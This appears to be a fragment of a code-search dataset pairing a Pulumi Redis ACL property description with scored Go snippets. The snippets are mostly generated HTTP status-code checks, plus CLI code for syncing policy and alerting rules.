*UpdateNetworkLocationsMetadataTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "ff772f20b6d4252fb00b68e04786259a", "score": "0.716427", "text": "func (o *DeleteRulesV1InternalServerError) IsCode(code int) bool {\n\treturn code == 500\n}", "title": "" }, { "docid": "74746f49f87cebe03892b48224c95e12", "score": "0.7163968", "text": "func (o *PetDeleteBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "51996ea9f3f00ea5e5a4684ccbc236a8", "score": "0.7159802", "text": "func (o *TenantsDeleteUnprocessableEntity) IsCode(code int) bool {\n\treturn code == 422\n}", "title": "" }, { "docid": "9a0a65d96adbd09e96aa11ab797fe690", "score": "0.7158515", "text": "func (o *DeleteProjectDashboardOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "9df85dac663c34b6c190026fcc94822d", "score": "0.71554214", "text": "func (o *GetFileContentForExportJobsV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "45e96d40f38b4744f7b20c41feb1a5fa", "score": "0.71492976", "text": "func (o *GetUsingGET3OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "bc141138caf79ff7c94b7da87cbc37dc", "score": "0.71475583", "text": "func (o *DeleteSampleV2OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "fb1ed785ce2892222fe91e1b79769bfa", "score": "0.7146611", "text": "func (o *PerformDeviceControlPoliciesActionBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "14ff9e5445a57945851c3a7c55b18680", "score": "0.7146273", "text": "func (o *GetNotificationsExposedDataRecordsV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "1338b336793c9444bcaf760ef6f296a2", "score": "0.7141947", "text": "func (o *UpdateAWSAccountsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "3de5c9b75c87e6dc60aa1331649e054b", "score": "0.71412474", "text": "func (o *QueryChangesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "dd3fb7c4791ad5aec723bff8f2e93ed1", "score": "0.7140505", "text": "func (o *PcloudCloudconnectionsPostRequestTimeout) IsCode(code int) bool {\n\treturn code == 408\n}", "title": "" }, { "docid": "37104db85fd92f2489eb4d4236ac906e", "score": "0.7136949", "text": "func (o *GetCSPMAwsAccountTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "79d298ed306e30aa4c58a55c237df3d5", "score": "0.71196437", "text": "func (o *QueryRulesMixin0TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "fc97d7237a9b0dee6185e3121312c40a", "score": "0.71132445", "text": "func (o *AggregateRulesOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "85de21ce4228c7458fa4d1b07cba4258", "score": "0.71084034", "text": "func (o *QueryQuarantineFilesOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "c11a35de5662f480ff0f8a15687d6c38", "score": "0.7103125", "text": "func (o *GetNetworkLocationsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "c56f59faa1839074c453c63d3d80168f", "score": "0.7100503", "text": "func (o *GetD4CAwsAccountTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "850b0c7d37dcf5c21e744948dbdf3b45", "score": "0.7094391", "text": "func (o *GetPolicyUsingGET5OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "8a149e4c99afe7918254cb9b07bd1178", "score": "0.70926607", "text": "func (o *ScanSamplesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "66d7989029b7d515189b74c8cecfc89a", "score": "0.7092324", "text": "func (o *IndicatorUpdateV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "219c9846242c1f0dd2fa6b0c8d57f94d", "score": "0.70913464", "text": "func (o *FdrschemaQueriesEventGetTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "eee9a51d6915d3f804cfbf67b1b71ec7", "score": "0.7087818", "text": "func (o *DeleteTerraformVersionUsingDELETEUnauthorized) IsCode(code int) bool {\n\treturn code == 401\n}", "title": "" }, { "docid": "32b1e7f25d328799f4a490066895005e", "score": "0.7087568", "text": "func (o *TokensQueryTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "e69859738bed2a7e2fcfd6f3bae5890f", "score": "0.7079764", "text": "func (o *DcimDevicesBulkDeleteNoContent) IsCode(code int) bool {\n\treturn code == 204\n}", "title": "" }, { "docid": "28ac9774ebf5001af8a6b350abb90f5c", "score": "0.7075859", "text": "func (o *GetMalQueryQuotasV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "3f995d0a3b78c67dd18be2ce9cc514c1", "score": "0.70721227", "text": "func (o *DeleteProjectSearchOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "626d4b38bb4fa3a02f8bcc38980d0b60", "score": "0.7066501", "text": "func (o *GetUsingGET2OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "0af89dba1ca5263cfbbf5e74a72797dd", "score": "0.7060553", "text": "func (o *DeleteDockerRegistryEventByIDUsingDELETEForbidden) IsCode(code int) bool {\n\treturn code == 403\n}", "title": "" }, { "docid": "8829c890b83e7f695feb6aa1ce23c0b9", "score": "0.70592844", "text": "func (o *PcloudCloudconnectionsPostOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "a0f005c85cf1208336c7556051d4be89", "score": "0.7058935", "text": "func (o *TenantsDeleteUnauthorized) IsCode(code int) bool {\n\treturn code == 401\n}", "title": "" }, { "docid": "dcf2bbf7175d2efd06d38029ec3cfdf5", "score": "0.7055898", "text": "func (o *GetFqdnCacheBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "c78bb1ac0055301e5285e648e7b7edff", "score": "0.70479816", "text": "func (o *GetCaseEntitiesByIDsOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "e26f706692fe8a79a77831e0c70b1a0b", "score": "0.7044566", "text": "func (o *PerformDeviceControlPoliciesActionInternalServerError) IsCode(code int) bool {\n\treturn code == 500\n}", "title": "" }, { "docid": "3b93c50731b808f0bffcc79b9b36847c", "score": "0.7043656", "text": "func (o *IpamVrfsBulkUpdateOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "2a0d4255e20f5534040bcdc0300d42f7", "score": "0.70396364", "text": "func (o *AddEventLoopGroupNoContent) IsCode(code int) bool {\n\treturn code == 204\n}", "title": "" }, { "docid": "10682b8df4189302540d1e8fcd95481a", "score": "0.7039488", "text": "func (o *DeleteDockerRegistryEventByIDUsingDELETEUnauthorized) IsCode(code int) bool {\n\treturn code == 401\n}", "title": "" }, { "docid": "bceb64df561925e2b4cf194d5182c8b1", "score": "0.70344514", "text": "func (o *QueryNotificationsV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "1bf967af9b5337b1b5adc72f90d7aa69", "score": "0.703161", "text": "func (o *RTRGetPutFilesV2OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "f65e26bafe4b295e040ebb6546f2becd", "score": "0.7031532", "text": "func (o *ListPropertyGroupsUsingGETBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "e8c0cbce4fc0759595b5f46a88fc5cf8", "score": "0.70275944", "text": "func (o *DeleteTerraformVersionUsingDELETEForbidden) IsCode(code int) bool {\n\treturn code == 403\n}", "title": "" }, { "docid": "5bdc16ca2a9a913057754857a9aac893", "score": "0.7027403", "text": "func (o *GetResourceFilterByIDUsingGET2OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "63f991660601425c4d14159a2500a5f8", "score": "0.7023444", "text": "func (o *DeleteAWSAccountsMixin0OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "d87ab2468960cf2b6135dad73018e283", "score": "0.7016901", "text": "func (o *PcloudDhcpGetallOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "e9b5d0021c60ff22512a59c4c881a3d0", "score": "0.7016563", "text": "func (o *GetCaseEntitiesByIDsBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "4febdd5d6d2a2b890f77ffcfe7140e93", "score": "0.70112956", "text": "func (o *UpdateCSPMPolicySettingsOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "061d8bad5f8811caf5100f2510897b20", "score": "0.7010733", "text": "func (o *DeleteV1RunbooksRunbookIDOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "51409ec4f2f8f0cc5103de127830d339", "score": "0.70099086", "text": "func (o *HostsSettingsCollectionGetOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "1e9e06da922a01c98799b5f6f6160d03", "score": "0.7003143", "text": "func (o *ObjectsDeleteUnauthorized) IsCode(code int) bool {\n\treturn code == 401\n}", "title": "" }, { "docid": "ce8fffb965852ea39f9d06693882590c", "score": "0.7000934", "text": "func (o *CompleteTransactionByExternalKeyServiceUnavailable) IsCode(code int) bool {\n\treturn code == 503\n}", "title": "" }, { "docid": "e879b6d16f92be3898e2d083f01f8842", "score": "0.69882184", "text": "func (o *ObjectsDeleteInternalServerError) IsCode(code int) bool {\n\treturn code == 500\n}", "title": "" }, { "docid": "c4e30a8e208426c88add58e22a2367a2", "score": "0.698796", "text": "func (o *QueryHostsOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "9ae5d3e809a4c802f4e68eaea92fc95f", "score": "0.6986073", "text": "func (o *SnaplockLegalHoldFilesGetOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "3f22e6cc9e39b7af79abd9e69e10b6ac", "score": "0.6979054", "text": "func (o *GetServicesServiceFidIncidentsOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "937dd8b6747485a541115ce35b6101cb", "score": "0.69789535", "text": "func (o *PatchQueueOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "1bbc44d0b5c26f8cfacf2cc384977eb1", "score": "0.6975774", "text": "func (o *DeleteSampleV2BadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "58722e3a74aa1d2818418399622c51a1", "score": "0.6975231", "text": "func (o *IpamFhrpGroupsBulkPartialUpdateOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "05988e396f422b50b54ba26eb1b8af71", "score": "0.69734865", "text": "func (o *FpolicyPolicyDeleteDefault) IsCode(code int) bool {\n\treturn o._statusCode == code\n}", "title": "" }, { "docid": "847b04d90ffcadb120faf6b4b82d555d", "score": "0.69696265", "text": "func (o *QuotaRuleCollectionGetDefault) IsCode(code int) bool {\n\treturn o._statusCode == code\n}", "title": "" } ]
48f5dc0d95f520fc3d21c24a4e787f27
Defines rules for individual commands. The field is required with`redisAclCategories` and `redisAclKeys`. This property cannot be changed, doing so forces recreation of the resource.
[ { "docid": "e42b6863d2a07f011ff05731ecfbdaf7", "score": "0.58204174", "text": "func (o RedisUserOutput) RedisAclCommands() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *RedisUser) pulumi.StringArrayOutput { return v.RedisAclCommands }).(pulumi.StringArrayOutput)\n}", "title": "" } ]
[ { "docid": "30e810ff189be7e72d54c61d3612f288", "score": "0.5740447", "text": "func NewSyncRulesCommand() *cobra.Command {\n\n\tcmd := &cobra.Command{\n\t\tUse: \"rules [directory]\",\n\t\tShort: \"Sync rules to the organization\",\n\t\tArgs: cobra.ExactArgs(1),\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\n\t\t\tclient, auth := getClient()\n\n\t\t\tgetRuleByName := func(name string) *models.CustomRule {\n\t\t\t\tparams := custom_rules.NewListCustomRulesParams()\n\t\t\t\tresp, err := client.CustomRules.ListCustomRules(params, auth)\n\t\t\t\tCheckErr(err)\n\t\t\t\tfor _, rule := range resp.Payload.Items {\n\t\t\t\t\tif rule.Name == name {\n\t\t\t\t\t\treturn rule\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tvar targetFamilies []string = nil\n\t\t\tif targetRuleFamilies != \"\" {\n\t\t\t\ttargetFamilies = strings.Split(targetRuleFamilies, \",\")\n\t\t\t}\n\n\t\t\tupdateRule := func(path string) error {\n\n\t\t\t\trego, err := loadRego(path)\n\t\t\t\tif err != nil {\n\t\t\t\t\tCheckErr(err)\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\tif rego == nil {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\n\t\t\t\tvar ruleFamilies []string = nil\n\n\t\t\t\t// We want to allow people to override the families specified in the\n\t\t\t\t// __rego__metadoc__ block using the command line.\n\t\t\t\tif len(targetFamilies) == 0 {\n\t\t\t\t\tmd, err := metadoc.RegoMetaFromPath(path)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\t\t\t\t\tif len(md.Families) != 0 {\n\t\t\t\t\t\tfor _, family := range md.Families {\n\t\t\t\t\t\t\tif _, err := uuid.Parse(family); err == nil {\n\t\t\t\t\t\t\t\truleFamilies = append(ruleFamilies, family)\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif familyUUID, ok := familyToUUID(family); !ok {\n\t\t\t\t\t\t\t\t\tlog.Fatalf(\"Unable to find family '%s' (referenced in '%s').\", family, path)\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\truleFamilies = append(ruleFamilies, familyUUID)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\truleFamilies = make([]string, 0)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\truleFamilies = targetFamilies\n\t\t\t\t}\n\n\t\t\t\texistingRule := getRuleByName(rego.Name)\n\t\t\t\tif existingRule == nil {\n\t\t\t\t\tfmt.Println(\"Creating rule\", rego.Name)\n\t\t\t\t\tparams := custom_rules.NewCreateCustomRuleParams()\n\t\t\t\t\tparams.Rule = &models.CreateCustomRuleInput{\n\t\t\t\t\t\tName: rego.Name,\n\t\t\t\t\t\tDescription: rego.Description,\n\t\t\t\t\t\tResourceType: rego.ResourceType,\n\t\t\t\t\t\tProviders: rego.Providers,\n\t\t\t\t\t\tSeverity: rego.Severity,\n\t\t\t\t\t\tRuleText: rego.Text,\n\t\t\t\t\t}\n\n\t\t\t\t\tcreated, err := client.CustomRules.CreateCustomRule(params, auth)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tif ruleFamilies != nil {\n\t\t\t\t\t\tfamParams := custom_rules.NewUpdateCustomRuleParams()\n\t\t\t\t\t\tfamParams.RuleID = created.Payload.ID\n\t\t\t\t\t\tfamParams.Rule = &models.UpdateCustomRuleInput{\n\t\t\t\t\t\t\tFamilies: ruleFamilies,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif _, err := client.CustomRules.UpdateCustomRule(famParams, auth); err != nil {\n\t\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"Updating rule\", rego.Name)\n\t\t\t\t\tparams := custom_rules.NewUpdateCustomRuleParams()\n\t\t\t\t\tparams.RuleID = existingRule.ID\n\t\t\t\t\tparams.Rule = &models.UpdateCustomRuleInput{\n\t\t\t\t\t\tDescription: rego.Description,\n\t\t\t\t\t\tResourceType: rego.ResourceType,\n\t\t\t\t\t\tProviders: rego.Providers,\n\t\t\t\t\t\tSeverity: rego.Severity,\n\t\t\t\t\t\tRuleText: rego.Text,\n\t\t\t\t\t\tFamilies: ruleFamilies,\n\t\t\t\t\t}\n\t\t\t\t\tif _, err := client.CustomRules.UpdateCustomRule(params, auth); err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tfiles, err := ioutil.ReadDir(args[0])\n\t\t\tCheckErr(err)\n\n\t\t\tfor _, file := range files {\n\t\t\t\tif filepath.Ext(file.Name()) == \".rego\" {\n\t\t\t\t\tupdateRule(filepath.Join(args[0], file.Name()))\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t}\n\tcmd.Flags().StringVarP(&targetRuleFamilies, \"target-rule-family\", \"\", \"\", \"Comma separated list of UUID of families\")\n\treturn cmd\n}", "title": "" }, { "docid": "b16ee6ac73dd39720d900e7557f6beb8", "score": "0.5666306", "text": "func (rp *RedisProxy) AuthorizeCommand(groups []Group, command [][]byte) error {\n\tfor _, group := range groups {\n\t\tfor _, rule := range rp.Rules {\n\t\t\tif !rule.AppliesToGroup(group) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif !rule.Matches(command) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn fmt.Errorf(\"no rule allows client to invoke %s\", command)\n}", "title": "" }, { "docid": "f4de4a6564d0fd94e4a9f38508815cee", "score": "0.5636716", "text": "func (s *HiveOwnershipWebhook) Rules() []admissionregv1.RuleWithOperations { return rules }", "title": "" }, { "docid": "2fa59622cf5aad6dc76e2e28bcac7b45", "score": "0.55572313", "text": "func NewListRulesCommand() *cobra.Command {\n\n\tvar opts listRulesOptions\n\n\tcmd := &cobra.Command{\n\t\tUse: \"rules\",\n\t\tShort: \"List rules in the organization\",\n\t\tLong: `List rules in the organization`,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\n\t\t\tclient, auth := getClient()\n\n\t\t\tparams := custom_rules.NewListCustomRulesParams()\n\t\t\tresp, err := client.CustomRules.ListCustomRules(params, auth)\n\t\t\tCheckErr(err)\n\n\t\t\trules := resp.Payload.Items\n\t\t\tif len(rules) == 0 {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tvar rows []interface{}\n\t\t\tfor _, rule := range rules {\n\t\t\t\tdescription := rule.Description\n\t\t\t\tif len(description) > 32 {\n\t\t\t\t\tdescription = description[:29] + \"...\"\n\t\t\t\t}\n\n\t\t\t\tfamiliesShort := []string{}\n\t\t\t\tfor _, family := range rule.Families {\n\t\t\t\t\tfamiliesShort = append(familiesShort, format.ShortenValidUUID(family))\n\t\t\t\t}\n\t\t\t\tfamilies := strings.Join(familiesShort, \",\")\n\t\t\t\tif len(families) > 32 {\n\t\t\t\t\tfamilies = families[:29] + \"...\"\n\t\t\t\t}\n\n\t\t\t\trows = append(rows, listRulesViewItem{\n\t\t\t\t\tID: rule.ID,\n\t\t\t\t\tName: rule.Name,\n\t\t\t\t\tDescription: description,\n\t\t\t\t\tProvider: rule.Provider,\n\t\t\t\t\tSeverity: rule.Severity,\n\t\t\t\t\tResourceType: rule.ResourceType,\n\t\t\t\t\tRuleText: rule.RuleText,\n\t\t\t\t\tStatus: rule.Status,\n\t\t\t\t\tFamilies: families,\n\t\t\t\t\tCreatedAt: format.Unix(rule.CreatedAt),\n\t\t\t\t\tCreatedBy: rule.CreatedBy,\n\t\t\t\t\tUpdatedAt: format.Unix(rule.UpdatedAt),\n\t\t\t\t\tUpdatedBy: rule.UpdatedBy,\n\t\t\t\t})\n\t\t\t}\n\n\t\t\ttable, err := format.Table(format.TableOpts{\n\t\t\t\tRows: rows,\n\t\t\t\tColumns: opts.Columns,\n\t\t\t\tShowHeader: true,\n\t\t\t})\n\t\t\tCheckErr(err)\n\n\t\t\tfor _, tableRow := range table {\n\t\t\t\tfmt.Println(tableRow)\n\t\t\t}\n\t\t},\n\t}\n\n\tdefaultCols := []string{\n\t\t\"ID\",\n\t\t\"Name\",\n\t\t\"Provider\",\n\t\t\"Severity\",\n\t\t\"ResourceType\",\n\t\t\"Status\",\n\t\t\"Description\",\n\t\t\"Families\",\n\t}\n\n\tcmd.Flags().StringSliceVar(&opts.Columns, \"columns\", defaultCols, \"Columns to show\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "f414ee1b5ba53dfba19a7dc309c27fe6", "score": "0.5287223", "text": "func (c *ChainConfig) Rules(num *big.Int) Rules {\n\tchainID := c.ChainID\n\tif chainID == nil {\n\t\tchainID = new(big.Int)\n\t}\n\treturn Rules{\n\t\tChainID: new(big.Int).Set(chainID),\n\t\tIsIstanbul: c.IsIstanbul(num),\n\t}\n}", "title": "" }, { "docid": "53adb1eeec17e0b04b5136f42f8b18aa", "score": "0.5245342", "text": "func (_ CoreV2ClusterRoleAliases) Rules(p graphql.ResolveParams) (interface{}, error) {\n\tval, err := graphql.DefaultResolver(p.Source, p.Info.FieldName)\n\treturn val, err\n}", "title": "" }, { "docid": "d2b6ccbc5dd2ed74a9c7fcaadd4eb43f", "score": "0.51498127", "text": "func (r *RuleCommand) Register(app *kingpin.Application) {\n\trulesCmd := app.Command(\"rules\", \"View & edit rules stored in cortex.\").PreAction(r.setup)\n\trulesCmd.Flag(\"authToken\", \"Authentication token for bearer token or JWT auth, alternatively set CORTEX_AUTH_TOKEN.\").Default(\"\").Envar(\"CORTEX_AUTH_TOKEN\").StringVar(&r.ClientConfig.AuthToken)\n\trulesCmd.Flag(\"user\", \"API user to use when contacting cortex, alternatively set CORTEX_API_USER. If empty, CORTEX_TENANT_ID will be used instead.\").Default(\"\").Envar(\"CORTEX_API_USER\").StringVar(&r.ClientConfig.User)\n\trulesCmd.Flag(\"key\", \"API key to use when contacting cortex, alternatively set CORTEX_API_KEY.\").Default(\"\").Envar(\"CORTEX_API_KEY\").StringVar(&r.ClientConfig.Key)\n\trulesCmd.Flag(\"backend\", \"Backend type to interact with: <cortex|loki>\").Default(\"cortex\").EnumVar(&r.Backend, backends...)\n\n\t// Register rule commands\n\tlistCmd := rulesCmd.\n\t\tCommand(\"list\", \"List the rules currently in the cortex ruler.\").\n\t\tAction(r.listRules)\n\tprintRulesCmd := rulesCmd.\n\t\tCommand(\"print\", \"Print the rules currently in the cortex ruler.\").\n\t\tAction(r.printRules)\n\tgetRuleGroupCmd := rulesCmd.\n\t\tCommand(\"get\", \"Retrieve a rulegroup from the ruler.\").\n\t\tAction(r.getRuleGroup)\n\tdeleteRuleGroupCmd := rulesCmd.\n\t\tCommand(\"delete\", \"Delete a rulegroup from the ruler.\").\n\t\tAction(r.deleteRuleGroup)\n\tloadRulesCmd := rulesCmd.\n\t\tCommand(\"load\", \"load a set of rules to a designated cortex endpoint\").\n\t\tAction(r.loadRules)\n\tdiffRulesCmd := rulesCmd.\n\t\tCommand(\"diff\", \"diff a set of rules to a designated cortex endpoint\").\n\t\tAction(r.diffRules)\n\tsyncRulesCmd := rulesCmd.\n\t\tCommand(\"sync\", \"sync a set of rules to a designated cortex endpoint\").\n\t\tAction(r.syncRules)\n\tprepareCmd := rulesCmd.\n\t\tCommand(\"prepare\", \"modifies a set of rules by including an specific label in aggregations.\").\n\t\tAction(r.prepare)\n\tlintCmd := rulesCmd.\n\t\tCommand(\"lint\", \"formats a set of rule files. It reorders keys alphabetically, uses 4 spaces as indentantion, and formats PromQL expressions to a single line.\").\n\t\tAction(r.lint)\n\tcheckCmd := rulesCmd.\n\t\tCommand(\"check\", \"runs various best practice checks against rules.\").\n\t\tAction(r.checkRecordingRuleNames)\n\n\t// Require Cortex cluster address and tentant ID on all these commands\n\tfor _, c := range []*kingpin.CmdClause{listCmd, printRulesCmd, getRuleGroupCmd, deleteRuleGroupCmd, loadRulesCmd, diffRulesCmd, syncRulesCmd} {\n\t\tc.Flag(\"address\", \"Address of the cortex cluster, alternatively set CORTEX_ADDRESS.\").\n\t\t\tEnvar(\"CORTEX_ADDRESS\").\n\t\t\tRequired().\n\t\t\tStringVar(&r.ClientConfig.Address)\n\n\t\tc.Flag(\"id\", \"Cortex tenant id, alternatively set CORTEX_TENANT_ID.\").\n\t\t\tEnvar(\"CORTEX_TENANT_ID\").\n\t\t\tRequired().\n\t\t\tStringVar(&r.ClientConfig.ID)\n\n\t\tc.Flag(\"use-legacy-routes\", \"If set, API requests to cortex will use the legacy /api/prom/ routes, alternatively set CORTEX_USE_LEGACY_ROUTES.\").\n\t\t\tDefault(\"false\").\n\t\t\tEnvar(\"CORTEX_USE_LEGACY_ROUTES\").\n\t\t\tBoolVar(&r.ClientConfig.UseLegacyRoutes)\n\n\t\tc.Flag(\"tls-ca-path\", \"TLS CA certificate to verify cortex API as part of mTLS, alternatively set CORTEX_TLS_CA_PATH.\").\n\t\t\tDefault(\"\").\n\t\t\tEnvar(\"CORTEX_TLS_CA_CERT\").\n\t\t\tStringVar(&r.ClientConfig.TLS.CAPath)\n\n\t\tc.Flag(\"tls-cert-path\", \"TLS client certificate to authenticate with cortex API as part of mTLS, alternatively set CORTEX_TLS_CERT_PATH.\").\n\t\t\tDefault(\"\").\n\t\t\tEnvar(\"CORTEX_TLS_CLIENT_CERT\").\n\t\t\tStringVar(&r.ClientConfig.TLS.CertPath)\n\n\t\tc.Flag(\"tls-key-path\", \"TLS client certificate private key to authenticate with cortex API as part of mTLS, alternatively set CORTEX_TLS_KEY_PATH.\").\n\t\t\tDefault(\"\").\n\t\t\tEnvar(\"CORTEX_TLS_CLIENT_KEY\").\n\t\t\tStringVar(&r.ClientConfig.TLS.KeyPath)\n\n\t}\n\n\t// Print Rules Command\n\tprintRulesCmd.Flag(\"disable-color\", \"disable colored output\").BoolVar(&r.DisableColor)\n\n\t// Get RuleGroup Command\n\tgetRuleGroupCmd.Arg(\"namespace\", \"Namespace of the rulegroup to retrieve.\").Required().StringVar(&r.Namespace)\n\tgetRuleGroupCmd.Arg(\"group\", \"Name of the rulegroup ot retrieve.\").Required().StringVar(&r.RuleGroup)\n\tgetRuleGroupCmd.Flag(\"disable-color\", \"disable colored output\").BoolVar(&r.DisableColor)\n\n\t// Delete RuleGroup Command\n\tdeleteRuleGroupCmd.Arg(\"namespace\", \"Namespace of the rulegroup to delete.\").Required().StringVar(&r.Namespace)\n\tdeleteRuleGroupCmd.Arg(\"group\", \"Name of the rulegroup ot delete.\").Required().StringVar(&r.RuleGroup)\n\n\t// Load Rules Command\n\tloadRulesCmd.Arg(\"rule-files\", \"The rule files to check.\").Required().ExistingFilesVar(&r.RuleFilesList)\n\n\t// Diff Command\n\tdiffRulesCmd.Arg(\"rule-files\", \"The rule files to check.\").ExistingFilesVar(&r.RuleFilesList)\n\tdiffRulesCmd.Flag(\"namespaces\", \"comma-separated list of namespaces to check during a diff. Cannot be used together with --ignored-namespaces.\").StringVar(&r.Namespaces)\n\tdiffRulesCmd.Flag(\"ignored-namespaces\", \"comma-separated list of namespaces to ignore during a diff. Cannot be used together with --namespaces.\").StringVar(&r.IgnoredNamespaces)\n\tdiffRulesCmd.Flag(\"rule-files\", \"The rule files to check. Flag can be reused to load multiple files.\").StringVar(&r.RuleFiles)\n\tdiffRulesCmd.Flag(\n\t\t\"rule-dirs\",\n\t\t\"Comma separated list of paths to directories containing rules yaml files. Each file in a directory with a .yml or .yaml suffix will be parsed.\",\n\t).StringVar(&r.RuleFilesPath)\n\tdiffRulesCmd.Flag(\"disable-color\", \"disable colored output\").BoolVar(&r.DisableColor)\n\tdiffRulesCmd.Flag(\"verbose\", \"show diff output with rules changes\").BoolVar(&r.Verbose)\n\n\t// Sync Command\n\tsyncRulesCmd.Arg(\"rule-files\", \"The rule files to check.\").ExistingFilesVar(&r.RuleFilesList)\n\tsyncRulesCmd.Flag(\"namespaces\", \"comma-separated list of namespaces to check during a diff. Cannot be used together with --ignored-namespaces.\").StringVar(&r.Namespaces)\n\tsyncRulesCmd.Flag(\"ignored-namespaces\", \"comma-separated list of namespaces to ignore during a sync. Cannot be used together with --namespaces.\").StringVar(&r.IgnoredNamespaces)\n\tsyncRulesCmd.Flag(\"rule-files\", \"The rule files to check. Flag can be reused to load multiple files.\").StringVar(&r.RuleFiles)\n\tsyncRulesCmd.Flag(\n\t\t\"rule-dirs\",\n\t\t\"Comma separated list of paths to directories containing rules yaml files. Each file in a directory with a .yml or .yaml suffix will be parsed.\",\n\t).StringVar(&r.RuleFilesPath)\n\n\t// Prepare Command\n\tprepareCmd.Arg(\"rule-files\", \"The rule files to check.\").ExistingFilesVar(&r.RuleFilesList)\n\tprepareCmd.Flag(\"rule-files\", \"The rule files to check. Flag can be reused to load multiple files.\").StringVar(&r.RuleFiles)\n\tprepareCmd.Flag(\n\t\t\"rule-dirs\",\n\t\t\"Comma separated list of paths to directories containing rules yaml files. Each file in a directory with a .yml or .yaml suffix will be parsed.\",\n\t).StringVar(&r.RuleFilesPath)\n\tprepareCmd.Flag(\n\t\t\"in-place\",\n\t\t\"edits the rule file in place\",\n\t).Short('i').BoolVar(&r.InPlaceEdit)\n\tprepareCmd.Flag(\"label\", \"label to include as part of the aggregations.\").Default(defaultPrepareAggregationLabel).Short('l').StringVar(&r.AggregationLabel)\n\tprepareCmd.Flag(\"label-excluded-rule-groups\", \"Comma separated list of rule group names to exclude when including the configured label to aggregations.\").StringVar(&r.AggregationLabelExcludedRuleGroups)\n\n\t// Lint 